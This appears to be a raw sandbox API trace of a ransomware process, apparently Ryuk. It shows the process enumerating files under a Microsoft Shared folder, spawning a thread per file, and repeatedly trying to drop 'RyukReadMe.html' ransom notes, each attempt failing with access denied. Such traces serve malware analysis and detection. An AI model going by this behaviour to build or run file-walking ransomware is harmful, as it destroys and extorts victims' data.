	[0162.644] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1
	[0162.644] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e2d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418
	[0162.647] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.648] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1
	[0162.648] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.649] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e6450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x41c
	[0162.652] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.653] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1
	[0162.653] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.654] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e9b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420
	[0162.657] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.657] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1
	[0162.658] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ed210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x424
	[0162.660] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.661] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1
	[0162.661] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f08f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x428
	[0162.664] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.665] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1
	[0162.665] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.666] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f3fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x42c
	[0162.738] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.739] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x7c, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1
	[0162.739] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1
	[0162.739] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f76b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x430
	[0162.742] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.743] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1
	[0162.743] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fad90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x434
	[0162.746] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.747] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1
	[0162.747] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fe470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x438
	[0162.751] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.752] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x7c, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1
	[0162.752] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1
	[0162.752] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f501b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x43c
	[0162.756] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.756] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1
	[0162.756] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f505230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x440
	[0162.760] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.760] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1
	[0162.760] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f508910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x444
	[0162.763] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.767] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1
	[0162.767] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f50bff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448
	[0162.771] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.772] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1
	[0162.772] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f50f6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x44c
	[0163.152] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0163.153] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1
	[0163.153] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0163.154] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x478
	[0163.162] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0163.163] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1
	[0163.163] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0163.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x47c
	[0163.167] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0163.168] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0163.168] SetLastError (dwErrCode=0x0) 
	[0163.168] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.532] GetLastError () returned 0x5
	[0163.533] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.533] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.533] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0163.533] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.534] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0163.534] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0163.534] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0163.534] SetLastError (dwErrCode=0x0) 
	[0163.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.534] GetLastError () returned 0x5
	[0163.535] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.535] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.535] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0163.535] SetLastError (dwErrCode=0x0) 
	[0163.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.535] GetLastError () returned 0x5
	[0163.535] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.536] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.536] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0163.536] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.537] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0163.537] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0163.537] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0163.537] SetLastError (dwErrCode=0x0) 
	[0163.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.537] GetLastError () returned 0x5
	[0163.537] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.538] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.538] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x7c, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1
